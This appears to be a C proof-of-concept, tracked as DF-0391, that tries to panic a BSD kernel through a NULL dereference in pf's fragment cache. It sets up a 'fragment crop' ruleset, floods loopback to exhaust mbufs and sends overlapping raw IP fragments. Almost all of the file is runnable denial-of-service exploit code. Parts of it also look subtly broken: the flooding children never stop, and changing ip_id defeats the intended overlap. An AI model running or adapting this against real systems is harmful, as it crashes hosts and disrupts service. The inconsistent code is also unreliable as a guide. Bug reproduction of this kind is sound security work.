/*
 * DF-0391 — pf_fragcache NULL-deref trigger.
 *
 * sys/net/pf/pf_norm.c:661-666 (pf_fragcache, the precut>0 overlap path):
 *
 *   *m0 = m_dup(m, M_NOWAIT);
 *   m_adj(*m0, (h->ip_hl << 2) - (*m0)->m_pkthdr.len);   <-- deref *m0
 *   if (*m0 == NULL)
 *       goto no_mem;                                     <-- check too late
 *
 * To trigger the NULL write the m_dup(M_NOWAIT) must fail (memory pressure).
 *
 * Setup (as root, on the guest):
 *   kldload pf
 *   cat >/etc/pf-0391.conf <<EOF
 *   scrub in on lo0 all fragment crop
 *   pass in on lo0 all
 *   pass out all
 *   EOF
 *   pfctl -d; pfctl -F all; pfctl -f /etc/pf-0391.conf; pfctl -e
 *
 * This PoC:
 *   1) sends a first fragment (offset 0, payload 32 B) that gets cached
 *      in pf's fragment cache;
 *   2) drives mbuf pressure in the background (heavy raw-socket writes to
 *      lo0) to starve m_dup's M_NOWAIT allocation;
 *   3) sends a second fragment that overlaps with the first (offset 8 B,
 *      payload 32 B) -> enters the precut>0 overlap path -> m_dup -> NULL
 *      -> m_adj deref -> panic.
 *
 *   cc -O2 -Wall -o df_0391_fragcache df_0391_fragcache.c
 *   ./df_0391_fragcache
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define ID       0x0391
#define PAYLEN   32

static void build_frag(uint8_t *pkt, int offset8, int more, int payload_fill);
static void mbuf_pressure(int *stop_pipefd);

static void
build_frag(uint8_t *pkt, int offset8, int more, int payload_fill)
{
    struct ip *ip = (struct ip *)pkt;
    uint8_t *p = pkt + sizeof(struct ip);

    memset(pkt, 0, sizeof(struct ip) + PAYLEN);
    ip->ip_v   = IPVERSION;
    ip->ip_hl  = sizeof(struct ip) >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(struct ip) + PAYLEN);
    ip->ip_id  = htons(ID);
    ip->ip_off = htons((offset8 & IP_OFFMASK) | (more ? IP_MF : 0));
    ip->ip_ttl = 64;
    ip->ip_p   = IPPROTO_UDP;
    ip->ip_src.s_addr = htonl(0x7f000001); /* 127.0.0.1 */
    ip->ip_dst.s_addr = htonl(0x7f000001);
    ip->ip_sum = 0;
    memset(p, payload_fill, PAYLEN);
}

static void
mbuf_pressure(int *stop_pipefd)
{
    /* Child: hammer the kernel with mbuf allocations to drive m_dup(M_NOWAIT)
     * toward failure. Use UDP sends to a sink address (127.0.0.1:9 discard). */
    struct sockaddr_in dst;
    int s, on = 1;
    char buf[2048];

    memset(&dst, 0, sizeof dst);
    dst.sin_family = AF_INET;
    dst.sin_port   = htons(9);
    dst.sin_addr.s_addr = htonl(0x7f000001);

    if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) _exit(0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof on);
    /* increase sndbuf so the socket holds many mbufs */
    int sb = 256*1024;
    setsockopt(s, SOL_SOCKET, SO_SNDBUF, &sb, sizeof sb);

    memset(buf, 'P', sizeof buf);
    /* Loop until parent signals stop (pipe close) or we exit */
    while (1) {
        if (sendto(s, buf, sizeof buf, MSG_DONTWAIT,
                   (struct sockaddr*)&dst, sizeof dst) < 0) {
            if (errno == EAGAIN || errno == ENOBUFS || errno == EINTR)
                continue;
            /* port 9 unreachable — but sendto still allocates mbufs in ip_output */
        }
    }
}

int
main(void)
{
    uint8_t pkt[64 + PAYLEN];
    int s, on = 1, stop_pipe[2];
    pid_t child;

    if (getuid() != 0) {
        fprintf(stderr, "must run as root (needs raw IP socket)\n");
        return 2;
    }

    if (pipe(stop_pipe) < 0) { perror("pipe"); return 2; }

    printf("DF-0391: pf_fragcache m_dup NULL deref trigger\n");
    printf("-> mbuf-pressure child pid will start; sending frags to 127.0.0.1\n");

    /* Fork mbuf-pressure children */
    for (int i = 0; i < 3; i++) {
        if (fork() == 0) {
            close(stop_pipe[1]);
            mbuf_pressure(stop_pipe);
            _exit(0);
        }
    }

    /* Parent: send fragments via raw socket */
    if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket(SOCK_RAW,IPPROTO_RAW)");
        return 2;
    }
    setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof on);

    /* warm up: send first fragment many times to populate fragcache */
    struct sockaddr_in dst = { .sin_family=AF_INET, .sin_addr.s_addr=htonl(0x7f000001) };
    build_frag(pkt, 0, 1 /*MF*/, 0xA1);   /* frag 1: off 0, len 32, MF */
    for (int i = 0; i < 5; i++) {
        if (sendto(s, pkt, sizeof(struct ip) + PAYLEN, 0,
                   (struct sockaddr*)&dst, sizeof dst) < 0)
            perror("sendto frag1");
        usleep(20000);
    }
    printf("-> first-fragment burst sent, fragcache populated\n");

    /* Hammer overlapping second fragment while memory is starved */
    build_frag(pkt, 1 /*off=8*/, 0, 0xB2);  /* frag 2: off 8, overlaps frag1 */
    for (int round = 0; round < 200; round++) {
        /* re-send frag1 to keep cache warm */
        build_frag(pkt, 0, 1, 0xA1 + round);
        for (int j = 0; j < 4; j++) {
            sendto(s, pkt, sizeof(struct ip)+PAYLEN, 0,
                   (struct sockaddr*)&dst, sizeof dst);
        }
        /* send overlapping frag2 with new ip_id so it's a "new" cache */
        build_frag(pkt, 1, 0, 0xB2 + round);
        /* vary ip_id to spawn many distinct cache entries, increasing pressure */
        struct ip *iph = (struct ip *)pkt;
        iph->ip_id = htons(ID + round);
        for (int j = 0; j < 4; j++) {
            sendto(s, pkt, sizeof(struct ip)+PAYLEN, 0,
                   (struct sockaddr*)&dst, sizeof dst);
        }
        usleep(5000);
    }
    printf("-> overlapping fragment burst complete\n");
    printf("If the kernel panicked (boot.log shows 'Fatal trap'), bug is reproduced.\n");
    printf("If not, the path was reached but m_dup did not return NULL under load.\n");

    close(stop_pipe[1]); /* signal children to die */
    close(s);
    sleep(1);
    while (waitpid(-1, NULL, WNOHANG) > 0) ;
    return 0;
}
